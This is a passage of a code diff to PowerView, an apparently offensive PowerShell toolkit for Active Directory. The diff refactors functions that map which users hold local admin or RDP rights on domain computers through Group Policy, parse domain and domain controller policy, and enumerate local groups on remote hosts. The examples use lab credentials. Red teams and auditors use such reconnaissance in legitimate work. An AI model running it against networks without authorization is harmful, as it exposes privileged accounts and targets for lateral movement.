$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') + $GPOLocalGroupMapping + } } } - } - - # find any sites that have this GUID applied - Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { - ForEach ($TargetSid in $TargetObjectSIDs) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + # find any sites that have this GPO linked through gpLink + Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - $AppliedSite = New-Object PSObject - $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup - $AppliedSite | Add-Member Noteproperty 'Domain' $Domain - $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname - $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid - $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath - $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType - $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl - $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') - $AppliedSite + $GPOLocalGroupMapping = New-Object PSObject + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') + $GPOLocalGroupMapping + } } } } } -function Find-GPOComputerAdmin { +function Get-DomainGPOComputerLocalGroupMapping { <# - .SYNOPSIS +.SYNOPSIS + +Takes a computer (or GPO) object and determines what users/groups are in the specified +local group for the machine through GPO correlation. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup + +.DESCRIPTION + +This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups +are in the specified local group for a target machine through GPO correlation. + +If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to +determine the OU the computer is a part of. Then resolve the computer's site name with +Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to +enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For +each resulting GPO group, resolve the resulting user/group name to a full AD object and +return the results. This will return the domain objects that are members of the specified +-LocalGroup for the given computer. + +Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and +localgroup specifications. + +.PARAMETER ComputerIdentity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for. + +.PARAMETER OUIdentity - Takes a computer (or GPO) object and determines what users/groups are in the specified - local group for the machine. +An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. - Author: @harmj0y - License: BSD 3-Clause - Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName - Optional Dependencies: None +.PARAMETER LocalGroup - .DESCRIPTION - - If a -ComputerName is specified, retrieve the complete computer object, attempt to - determine the OU the computer is a part of. Then resolve the computer's site name with - Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to - enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For - each resulting GPO group, resolve the resulting user/group name to a full AD object and - return the results. This will return the domain objects that are members of the specified - -LocalGroup for the given computer. +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. Defaults to local 'Administrators'. - Inverse of Find-GPOLocation. +.PARAMETER Domain - .PARAMETER ComputerName +Specifies the domain to enumerate GPOs for, defaults to the current domain. - The computer to determine local administrative access to. +.PARAMETER Server - .PARAMETER OUName +Specifies an Active Directory server (domain controller) to bind to. - OU name to determine who has local adminisrtative acess to computers - within it. +.PARAMETER SearchScope - .PARAMETER Domain +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - Optional domain the computer/OU exists in, defaults to the current domain. +.PARAMETER ResultPageSize - .PARAMETER DomainController +Specifies the PageSize to set for the LDAP searcher object. - Domain controller to reflect LDAP queries through. +.PARAMETER ServerTimeLimit - .PARAMETER Recurse +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Switch. If a returned member is a group, recurse and get all members. +.PARAMETER Tombstone - .PARAMETER LocalGroup +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - The local group to check access against. - Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), - or a custom local SID. - Defaults to local 'Administrators'. +.PARAMETER Credential - .PARAMETER UsePSDrive +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - Switch. Mount any found policy files with temporary PSDrives. +.EXAMPLE - .PARAMETER PageSize +Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local - The PageSize to set for the LDAP searcher object. +Finds users who have local admin rights over WINDOWS3 through GPO correlation. - .EXAMPLE +.EXAMPLE - PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local - - Finds users who have local admin rights over WINDOWS3 through GPO correlation. +Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP - .EXAMPLE +Finds users who have RDP rights over WINDOWS4 through GPO correlation. - PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP - - Finds users who have RDP rights over WINDOWS3 through GPO correlation. +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local + +.OUTPUTS + +PowerView.GGPOComputerLocalGroupMember #> - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GGPOComputerLocalGroupMember')] + [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] + Param( + [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] [String] - $ComputerName, + $ComputerIdentity, + + [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] + [Alias('OU')] + [String] + $OUIdentity, [String] - $OUName, + [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] + $LocalGroup = 'Administrators', + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $DomainController, + $SearchBase, - [Switch] - $Recurse, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $LocalGroup = 'Administrators', + $SearchScope = 'Subtree', - [Switch] - $UsePSDrive, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200 - ) + $ServerTimeLimit, - process { - - if(!$ComputerName -and !$OUName) { - Throw "-ComputerName or -OUName must be provided" - } + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - $GPOGroups = @() + BEGIN { + $CommonArguments = @{} + if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } + } - if($ComputerName) { - $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + PROCESS { + if ($PSBoundParameters['ComputerIdentity']) { + $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' - if(!$Computers) { - throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" + if (-not $Computers) { + throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." } - - $TargetOUs = @() - ForEach($Computer in $Computers) { - # extract all OUs a computer is a part of + + ForEach ($Computer in $Computers) { + + $GPOGuids = @() + + # extract any GPOs linked to this computer's OU through gpLink $DN = $Computer.distinguishedname + $OUIndex = $DN.IndexOf('OU=') + if ($OUIndex -gt 0) { + $OUName = $DN.SubString($OUIndex) + } + if ($OUName) { + $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { + Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } + } + } - $TargetOUs += $DN.split(",") | ForEach-Object { - if($_.startswith("OU=")) { - $DN.substring($DN.indexof($_)) + # extract any GPOs linked to this computer's site through gpLink + Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" + $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName + if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { + $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { + Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } } - } - # enumerate any linked GPOs for the computer's site - $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName - if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { - $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { - if($_.gplink) { - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } + # process any GPO local group settings from the GPO GUID set + $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { + $GPOGroup = $_ + + if($GPOGroup.GroupMembers) { + $GPOMembers = $GPOGroup.GroupMembers } - } | ForEach-Object { - $GPOGroupArgs = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'ResolveMemberSIDs' = $True - 'UsePSDrive' = $UsePSDrive - 'PageSize' = $PageSize + else { + $GPOMembers = $GPOGroup.GroupSID } - # for each GPO link, get any locally set user/group SIDs - Get-NetGPOGroup @GPOGroupArgs + $GPOMembers | ForEach-Object { + $Object = Get-DomainObject @CommonArguments -Identity $_ + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOComputerLocalGroupMember = New-Object PSObject + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType + $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember') + $GPOComputerLocalGroupMember + } } } } - else { - $TargetOUs = @($OUName) - } + } +} - Write-Verbose "Target OUs: $TargetOUs" - $TargetOUs | Where-Object {$_} | ForEach-Object { +function Get-DomainPolicy { +<# +.SYNOPSIS - $GPOLinks = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { - # and then get any GPO links - if($_.gplink) { - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } - } - } +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller. - $GPOGroupArgs = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'UsePSDrive' = $UsePSDrive - 'ResolveMemberSIDs' = $True - 'PageSize' = $PageSize - } +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID - # extract GPO groups that are set through any gPlink for this OU - $GPOGroups += Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { - ForEach($GPOLink in $GPOLinks) { - $Name = $_.GPOName - if($GPOLink -like "*$Name*") { - $_ - } - } - } - } +.DESCRIPTION + +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller using Get-DomainGPO. + +.PARAMETER Domain + +The domain to query for default policies, defaults to the current domain. + +.PARAMETER Source + +Extract 'Domain' or 'DC' (domain controller) policies. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER ResolveSids + +Switch. Resolve Sids from a DC policy to object names. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainPolicy + +Returns the domain policy for the current domain. + +.EXAMPLE + +Get-DomainPolicy -Domain dev.testlab.local + +Returns the domain policy for the dev.testlab.local domain. + +.EXAMPLE + +Get-DomainPolicy -Source DC -Domain dev.testlab.local + +Returns the policy for the dev.testlab.local domain controller. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainPolicy -Credential $Cred + +.OUTPUTS - # for each found GPO group, resolve the SIDs of the members - $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object { - $GPOGroup = $_ +Hashtable - if($GPOGroup.GroupMembers) { - $GPOMembers = $GPOGroup.GroupMembers - } - else { - $GPOMembers = $GPOGroup.GroupSID - } +Ouputs a hashtable representing the parsed GptTmpl.inf file. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, - $GPOMembers | ForEach-Object { - # resolve this SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ + [ValidateSet('Domain', 'DC', 'DomainController')] + [String] + $Source = 'Domain', + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType - $GPOComputerAdmin + [Switch] + $ResolveSids, - # if we're recursing and the current result object is a group - if($Recurse -and $GPOComputerAdmin.isGroup) { + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object { + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } - $MemberDN = $_.distinguishedName + $ConvertArguments = @{} + if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + } - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $ConvertArguments['Domain'] = $Domain + } - $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + if ($Source -eq 'Domain') { + # query the given domain for the default domain policy object (name = {31B2F340-016D-11D2-945F-00C04FB984F9}) + $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}' + $GPO = Get-DomainGPO @SearcherArguments - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName - } - else { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn + if ($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' + $ParseArgs = @{'GptTmplPath' = $GptTmplPath} + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + Get-GptTmpl @ParseArgs + } + } + else { + # query the given domain/dc for the default domain controller policy object (name = {6AC1786C-016F-11D2-945F-00C04FB984F9}) + $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}' + $GPO = Get-DomainGPO @SearcherArguments + + if ($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{'GptTmplPath' = $GptTmplPath} + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs | ForEach-Object { + if ($PSBoundParameters['ResolveSids']) { + $Root = $_ + $PrivilegeRightsResovled = @{} + # if we're resolving sids in PrivilegeRights to names + if ($Root.'Privilege Rights') { + $PrivilegeRights = $Root.'Privilege Rights' + ForEach ($PrivilegeRight in $PrivilegeRights.Keys) { + $PrivilegeRightsResovled[$PrivilegeRight] = $PrivilegeRights."$PrivilegeRight" | ForEach-Object { + try { + $_ | ForEach-Object { ConvertFrom-SID -ObjectSid ($_.Trim('*')) @ConvertArguments } + } + catch { + Write-Verbose "[Get-DomainPolicy] Error resolving SID : $_" + $_ + } + } } } - - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep - $GPOComputerAdmin + $Root.'Privilege Rights' = $PrivilegeRightsResovled + $Root } + else { $_ } } } } @@ -7472,274 +11619,332 @@ function Find-GPOComputerAdmin { } -function Get-DomainPolicy { +######################################################## +# +# Functions that enumerate a single host, either through +# WinNT, WMI, remote registry, or API calls +# (with PSReflect). +# +######################################################## + +function Get-NetLocalGroup { <# - .SYNOPSIS +.SYNOPSIS - Returns the default domain or DC policy for a given - domain or domain controller. +Eunmerates the local groups on the local (or remote) machine. - Thanks Sean Metacalf (@pyrotek3) for the idea and guidance. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect - .PARAMETER Source +.DESCRIPTION - Extract Domain or DC (domain controller) policies. +This function will enumerate the names and descriptions for the +local groups on the current, or remote, machine. By default, the Win32 API +call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT" +causes the WinNT service provider to be used instead, which returns group +SIDs along with the group names and descriptions/comments. - .PARAMETER Domain +.PARAMETER ComputerName - The domain to query for default policies, defaults to the current domain. +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. - .PARAMETER DomainController +.PARAMETER Method - Domain controller to reflect LDAP queries through. +The collection method to use, defaults to 'API', also accepts 'WinNT'. - .PARAMETER ResolveSids +.PARAMETER Credential - Switch. Resolve Sids from a DC policy to object names. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to a remote machine. Only applicable with "-Method WinNT". - .PARAMETER UsePSDrive +.EXAMPLE - Switch. Mount any found policy files with temporary PSDrives. +Get-NetLocalGroup - .EXAMPLE +ComputerName GroupName Comment +------------ --------- ------- +WINDOWS1 Administrators Administrators have comple... +WINDOWS1 Backup Operators Backup Operators can overr... +WINDOWS1 Cryptographic Operators Members are authorized to ... +... - PS C:\> Get-DomainPolicy +.EXAMPLE - Returns the domain policy for the current domain. +Get-NetLocalGroup -Method Winnt - .EXAMPLE +ComputerName GroupName GroupSID Comment +------------ --------- -------- ------- +WINDOWS1 Administrators S-1-5-32-544 Administrators hav... +WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... +WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author... +... - PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local +.EXAMPLE - Returns the policy for the MASTER.testlab.local domain controller. -#> +Get-NetLocalGroup -ComputerName primary.testlab.local - [CmdletBinding()] - Param ( - [String] - [ValidateSet("Domain","DC")] - $Source ="Domain", +ComputerName GroupName Comment +------------ --------- ------- +primary.testlab.local Administrators Administrators have comple... +primary.testlab.local Users Users are prevented from m... +primary.testlab.local Guests Guests have the same acces... +primary.testlab.local Print Operators Members can administer dom... +primary.testlab.local Backup Operators Backup Operators can overr... - [String] - $Domain, +.OUTPUTS - [String] - $DomainController, +PowerView.LocalGroup.API - [Switch] - $ResolveSids, +Custom PSObject with translated group property fields from API results. - [Switch] - $UsePSDrive - ) +PowerView.LocalGroup.WinNT - if($Source -eq "Domain") { - # query the given domain for the default domain policy object - $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}" - - if($GPO) { - # grab the GptTmpl.inf file and parse it - $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" +Custom PSObject with translated group property fields from WinNT results. - $ParseArgs = @{ - 'GptTmplPath' = $GptTmplPath - 'UsePSDrive' = $UsePSDrive - } +.LINK - # parse the GptTmpl.inf - Get-GptTmpl @ParseArgs - } +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroup.API')] + [OutputType('PowerView.LocalGroup.WinNT')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + BEGIN { + if ($PSBoundParameters['Credential'] -and ($Method -eq 'WinNT')) { + Write-Warning "[Get-NetLocalGroup] -Credential is only compatible with '-Method WinNT'" + } } - elseif($Source -eq "DC") { - # query the given domain/dc for the default domain controller policy object - $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}" - if($GPO) { - # grab the GptTmpl.inf file and parse it - $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + PROCESS { + ForEach ($Computer in $ComputerName) { + if ($Method -eq 'API') { + # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information - $ParseArgs = @{ - 'GptTmplPath' = $GptTmplPath - 'UsePSDrive' = $UsePSDrive - } + # arguments for NetLocalGroupEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - # parse the GptTmpl.inf - Get-GptTmpl @ParseArgs | ForEach-Object { - if($ResolveSids) { - # if we're resolving sids in PrivilegeRights to names - $Policy = New-Object PSObject - $_.psobject.properties | ForEach-Object { - if( $_.Name -eq 'PrivilegeRights') { + # get the local user information + $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - $PrivilegeRights = New-Object PSObject - # for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate - $_.Value.psobject.properties | ForEach-Object { + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - $Sids = $_.Value | ForEach-Object { - try { - if($_ -isnot [System.Array]) { - Convert-SidToName $_ - } - else { - $_ | ForEach-Object { Convert-SidToName $_ } - } - } - catch { - Write-Verbose "Error resolving SID : $_" - } - } + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids - } + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_INFO_1::GetSize() - $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights - } - else { - $Policy | Add-Member Noteproperty $_.Name $_.Value - } + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as 